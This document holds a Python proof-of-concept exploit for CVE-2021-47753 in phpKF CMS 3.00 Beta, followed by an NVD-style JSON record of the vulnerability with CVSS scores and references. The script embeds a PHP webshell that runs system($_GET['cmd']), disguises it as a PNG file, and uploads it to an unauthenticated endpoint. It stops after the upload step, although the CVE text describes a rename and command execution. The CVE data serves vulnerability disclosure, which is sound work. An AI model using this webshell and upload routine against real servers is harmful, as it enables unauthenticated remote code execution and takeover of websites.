CVE-2021-47753

#!/usr/bin/env python3 # CVE-2021-47753 PoC - phpKF CMS 3.00 Beta Unauthenticated RCE # This PoC demonstrates file upload bypass and remote code execution import requests import sys import random import string def generate_php_shell(): """Generate PHP webshell code""" return b'<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' def generate_png_with_shell(): """Generate PNG file with embedded PHP shell""" # Minimal valid PNG header (1x1 transparent PNG) png_header = bytes([ 0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, # PNG signature 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52, # IHDR chunk 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, # width=1, height=1 0x08, 0x06, 0x00, 0x00, 0x00, 0x1F, 0x15, 0xC4, # bit depth, color type, etc 0x89, 0x00, 0x00, 0x00, 0x0A, 0x49, 0x44, 0x41, # IDAT chunk 0x54, 0x78, 0x9C, 0x63, 0x00, 0x01, 0x00, 0x00, # compressed data 0x05, 0x00, 0x01, 0x0D, 0x0A, 0x2D, 0xB4, 0x00, # 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E, 0x44, 0xAE, # IEND chunk 0x42, 0x60, 0x82 ]) # Append PHP shell return png_header + generate_php_shell() def exploit(target_url): """Exploit the vulnerability""" print(f"[*] Targeting: {target_url}") # Step 1: Upload malicious PNG file upload_url = f"{target_url}/galeri_resim_yukle.php" # Example upload endpoint files = { 'dosya': ('shell.png', generate_png_with_shell(), 'image/png') } print("[*] Step 1: Uploading malicious PNG file...") try: response = requests.post(upload_url, files=files, timeout=10) print(f"[+] Upload response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Upload failed: {e}") return None return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_url>") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target)

{"cve": {"id": "CVE-2021-47753", "sourceIdentifier": "[email protected]", "published": "2026-01-15T16:16:06.003", "lastModified": "2026-01-23T18:31:05.153", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "phpKF CMS 3.00 Beta y6 contains an unauthenticated file upload vulnerability that allows remote attackers to execute arbitrary code by bypassing file extension checks. Attackers can upload a PHP file disguised as a PNG, rename it, and execute system commands through a crafted web shell parameter."}, {"lang": "es", "value": "phpKF CMS 3.00 Beta y6 contiene una vulnerabilidad de carga de archivos no autenticada que permite a atacantes remotos ejecutar código arbitrario al eludir las comprobaciones de extensión de archivo. Los atacantes pueden cargar un archivo PHP disfrazado como un PNG, renombrarlo y ejecutar comandos del sistema a través de un parámetro de web shell manipulado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpkf:cms:3.00:beta_y6:*:*:*:*:*:*", "matchCriteriaId": "0C662776-4E67-437B-A740-52624381AE63"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/50610", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.phpkf.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.phpkf.com/indirme.php", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/50610", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}